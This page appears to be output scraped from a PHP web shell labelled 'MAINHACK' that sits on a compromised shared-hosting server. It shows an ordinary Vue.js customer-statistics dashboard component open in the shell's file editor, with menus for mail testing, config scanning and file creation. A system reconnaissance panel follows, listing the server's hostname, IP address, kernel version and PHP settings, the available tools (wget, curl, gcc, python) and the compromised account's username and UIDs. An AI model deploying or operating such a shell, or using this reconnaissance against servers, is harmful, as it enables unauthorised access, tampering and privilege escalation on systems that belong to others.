[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: CustomerStatsComponent.vue
<template> <LoadingComponent :props="loading" /> <div class="col-12 xl:col-6"> <div class="db-card"> <div class="db-card-header"> <h3 class="font-semibold text-lg capitalize text-heading">{{ $t('label.customer_stats') }}</h3> <div id="customer-range" class="cursor-pointer flex items-center gap-3"> <Datepicker hideInputIcon autoApply :enableTimePicker="false" utc="false" :placeholder="$t('label.select_date_range')" @update:modelValue="customerStates" v-model="modelValue" :range="true"> </Datepicker> </div> </div> <div class="db-card-body"> <apexchart height="270" v-if="options" :options="options" :series="options.series"></apexchart> </div> </div> </div> </template> <script> import LoadingComponent from "../components/LoadingComponent"; import Datepicker from "@vuepic/vue-datepicker"; import "@vuepic/vue-datepicker/dist/main.css"; export default { name: "CustomerStatsComponent", components: { LoadingComponent, Datepicker }, data() { return { loading: { isActive: false, }, first_date: null, last_date: null, range: true, modelValue: null, options: null }; }, mounted() { this.customerStates(); }, methods: { customerStates: function (e) { let date = { first_date: '', last_date: '', }; if (e) { this.first_date = e[0]; this.last_date = e[1]; date.first_date = e[0]; date.last_date = e[1]; } this.loading.isActive = true; this.$store.dispatch("dashboard/customerStates", date).then((res) => { this.options = { series: [{ name: this.$t('menu.customers'), data: res.data.data.total_customers, }], chart: { type: 'bar', height: 276, parentHeightOffset: 0, zoom: { enabled: false }, toolbar: { show: false }, }, plotOptions: { bar: { horizontal: false, columnWidth: '40%', endingShape: 'rounded' }, }, stroke: { show: true, width: 2, colors: ['#567DFF'] }, xaxis: { categories: res.data.data.times, }, fill: { opacity: 1 }, tooltip: { style: { fontSize: '14px', fontFamily: 'inherit', } }, colors: ['#567DFF'], grid: { show: false, }, yaxis: { show: false }, dataLabels: { enabled: false }, }; this.loading.isActive = false; }).catch((err) => { this.loading.isActive = false; }); }, }, } </script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285